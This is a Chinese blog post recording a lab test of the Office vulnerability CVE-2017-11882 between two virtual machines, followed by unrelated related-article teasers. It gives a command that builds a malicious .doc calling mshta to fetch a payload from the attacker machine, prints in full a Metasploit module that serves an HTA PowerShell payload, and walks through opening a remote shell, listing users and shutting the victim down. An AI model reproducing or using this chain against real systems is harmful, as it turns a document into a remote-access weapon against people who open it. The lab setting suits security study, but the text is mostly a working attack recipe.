Office隐藏17年的漏洞CVE_2017_11882测试记录

Office隐藏17年的漏洞CVE_2017_11882测试记录

创建时间:

2017/11/25 0:18

作者:

CN_Simo

标签:

Office漏洞

参考文章1:https://www.cnblogs.com/Oran9e/p/7880832.html

参考文章2:https://www.cnblogs.com/i-honey/p/7885573.html

POC地址:https://github.com/Ridter/CVE-2017-11882/

中间环节出现,msf连接数据库失败的情况,解决方法:https://www.cnblogs.com/justforfun12/p/5205804.html

1.制造条件

这里搭建两台虚拟机进行测试!

测试机配置信息:

操作系统

Win7_x64 企业版

Office版本

Office 2013

防火墙状态

开启

IP

192.168.1.103

系统语言

Chinese

操作系统

Kali 2.1 中文

IP

192.168.1.104

首先在kali下安装nginx,或者tomcat应该也是可以的,首先将生成的doc文件放在/usr/share/nginx/html目录下,方便被攻击的机器获取doc文件。

启动nginx服务:systemctl start nginx

使用Command43b_CVE-2017-11882.py生成doc文件

python Command43b_CVE-2017-11882.py -c "mshta http://192.168.1.104:8080/abc";; -o cev2.doc

# 将下载好的漏洞模块放在msf任意目录下

root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

cve_2017_11882.rb的内容如下:

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule  < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info  = {})

    super(update_info(info,

      'Name' => 'Microsoft Office Payload Delivery',

      'Description' => %q{

        This module generates an command to place within

        a word document, that when executed, will retrieve a HTA payload

        via HTTP from an web server. Currently have not figured out how

        to generate a doc.

      },

      'License' => MSF_LICENSE,

      'Arch' => ARCH_X86,

      'Platform' => 'win',

      'Targets' =>

        [

          ['Automatic', {} ],

        ],

      'DefaultTarget' => 0,

    ))

  end

  def on_request_uri(cli, _request)

    print_status("Delivering payload")

    p = regenerate_payload(cli)

    data = Msf::Util::EXE.to_executable_fmt(

      framework,

      ARCH_X86,

      'win',

      p.encoded,

      'hta-psh',

      { :arch => ARCH_X86, :platform => 'win '}

    )

    send_response(cli, data, 'Content-Type' => 'application/hta')

  end

  def primer

    url = get_uri

    print_status("Place the following DDE in an MS document:")

    print_line("mshta.exe \"#{url}\"")

  end

然后,这里在使用msfconsole之前,需要先打开数据库,例如 service postgresql start 

打开数据库之后,进入msfconsole,然后对msf进行初始化,执行msf init

之后search cve_2017_11882搜索漏洞模块,然后按照【参考文章2】进行配置,最后 exploit 之后启动对 8080 端口的监听,至于为什么是8080端口我也不太清楚啊!

2.万事俱备,只欠东风

这个时候,只需要在 win7 上通过浏览器的到 cve2.doc文档,打开之后,kali中命令行立刻显示已经获取到了连接,

session命令得到回话,session -i 【id】建立连接

shell命令可以得到cmd,执行net user查看用户

3.实验效果

通过这个漏洞,可以肆无忌惮的执行一些命令,例如关机,删除一些文件,收集一些系统信息还是非常有用的

在桌面新建文件夹

远程关机

虽然获取到了命令行,但是通过net user命令可以看到登录的用户级别是Guest,这就限制了一些需要权限较高的命令执行!

而且这里win7没有安装杀软,我不知道安装杀软之后word文档会不会被查杀呢?

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏PHP在线

重磅资料!Github上的PHP资源汇总大全

依赖管理 ——用于依赖管理的包和框架 Composer/Packagist : 一个包和依赖管理器 Composer Installers: 一个多框架Com...

3034
来自专栏区块链入门

第三十二课 如何在Windows环境搭建REMIX本地环境,访问本地目录?1,摘要2,参考文档完成NODE.JS的安装3,命令行安装REMIX IDE4,启动本地IDE5,在REMIX上访问本地文件夹

《第十课 Solidity语言编辑器REMIX指导大全》文章详细介绍了使用REMIX IDE环境调试Solidity智能合约的方法,其中没有介绍在本地部署IDE...

1633
来自专栏乐沙弥的世界

Linux 6 下编译安装 PHP 5.6

1242
来自专栏青青天空树

springboot配置读写分离

  近日工作任务较轻,有空学习学习技术,遂来研究如果实现读写分离。这里用博客记录下过程,一方面可备日后查看,同时也能分享给大家(网上的资料真的大都是抄来抄去,,...

1253
来自专栏FreeBuf

2018最新款渗透测试框架 | Fsociety搞定各种姿势脚本

Fsociety是一款最新的渗透测试框架,可以帮助各位兄弟在安全测试过程中拥有变身成黑客所需要的各种姿势脚本。 这个工具刚刚出现,目前大概分为以下9类,后续还会...

2618
来自专栏编程

【依葫芦画瓢】SSM-CRUD-3

继续上一篇的讲解【依葫芦画瓢】SSM-CRUD --- 2 概要: 服务端返回json数据,构建员工列表 完成员工新增功能 增加表单前后端校验(jQuery+J...

2715
来自专栏Cloud Native - 产品级敏捷

微服务架构设计 第八步: 设计微服务对外 REST API

2016.9.22, 北京, Ken Fang 开发与测试人员协作完成了: 微服务对外需提供的方法 (API) 后, 开发与测试人员便需继续协作, 将微服务对外...

3936
来自专栏移动开发

git的常用配置

2.更改默认的比较和合并工具,采用 beyondcompare 由于采用命令行的配置,经常有符号打错的情况,这里我建议直接在.gitconfig文件中配置,...

1543
来自专栏散尽浮华

Centos下DNS+NamedManager高可用部署方案完整记录

之前说到了NamedManager单机版的配置,下面说下DNS+NamedManager双机高可用的配置方案:

4336
来自专栏everhad

笔记:BroadcastReceiver的运行过程

广播概述 广播用来在组件之间传递消息,可以是同进程或跨进程。 广播机制是基于发布订阅的事件驱动模型,使用上比Binder通信(跨进程接口回调)更低耦合、简单。 ...

1927

扫码关注云+社区